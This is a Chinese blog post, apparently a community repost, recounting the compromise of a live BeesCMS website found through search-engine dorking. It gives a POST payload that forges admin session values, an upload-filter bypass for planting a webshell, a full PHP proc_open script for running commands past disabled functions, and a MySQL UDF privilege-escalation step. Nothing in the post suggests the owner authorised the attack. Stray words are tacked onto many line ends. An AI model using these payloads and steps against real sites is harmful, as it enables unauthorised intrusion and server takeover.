本文首發於先知社區 https://xz.aliyun.com/t/5080php
前言:這是一次挖掘cms通用漏洞時發現的網站,技術含量雖然不是很高,可是也拿出來和你們分享一下吧,但願能給一部分人帶來收穫。html
在經過googlehack語法挖掘beescms時發現了這個站點mysql
利用網上的payload,在/mx_form/mx_form.php?id=12頁面使用hackbarPOST如下數據sql
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000shell
而後訪問/admin即可以直接進入後臺數據庫
進入後臺後在‘添加產品模塊’處尋找到了上傳點數組
嘗試上馬,但提示‘上傳圖片格式不正確’,因而上傳圖片馬抓包,在repeater裏更改後綴爲php,而後go安全
根據回顯沒有看出是否上傳成功,但也沒說失敗。通過尋找在‘上傳圖片管理’處找到函數
點擊圖片發現解析了,直接菜刀鏈接,拿到shell網站
拿到shell後進入終端查看權限,但卻發現執行命令失敗,可能遠程啓用了安全模式
通過在網上一番查找得出:要找到未禁用的php執行函數。先上傳了一個查看phpinfo的腳本,找到已禁用的函數
發現proc_open函數未被禁用,因而找到以下php腳本
<?php $descriptorspec=array( //這個索引數組用力指定要用proc_open建立的子進程的描述符 0=>array('pipe','r'), //STDIN 1=>array('pipe','w'),//STDOUT 2=>array('pipe','w') //STDERROR ); $handle=proc_open('whoami',$descriptorspec,$pipes,NULL); //$pipes中保存的是子進程建立的管道對應到 PHP 這一端的文件指針($descriptorspec指定的) if(!is_resource($handle)){ die('proc_open failed'); } //fwrite($pipes[0],'ipconfig'); print('stdout:<br/>'); while($s=fgets($pipes[1])){ print_r($s); } print('===========<br/>stderr:<br/>'); while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>
上傳後能夠執行命令,成功繞過安全模式
上圖能夠看出只是iis權限,能作的事很侷限,因此要想辦法提權。
菜刀中雖然不能執行命令,可是能夠查看文件,因而找到了數據庫配置文件
發現是mysql的數據庫,想到udf提權,因而上傳udf提權腳本
登陸後導出udf即可以執行命令了
提權成功,可是不能夠添加用戶,也不能開3389。
結語:但願路過的各位大佬能夠指點迷津,也歡迎各位來找我交流探討,感謝閱讀。
參考連接:
https://www.cnblogs.com/R4v3n/articles/9081202.html php限制命令執行繞過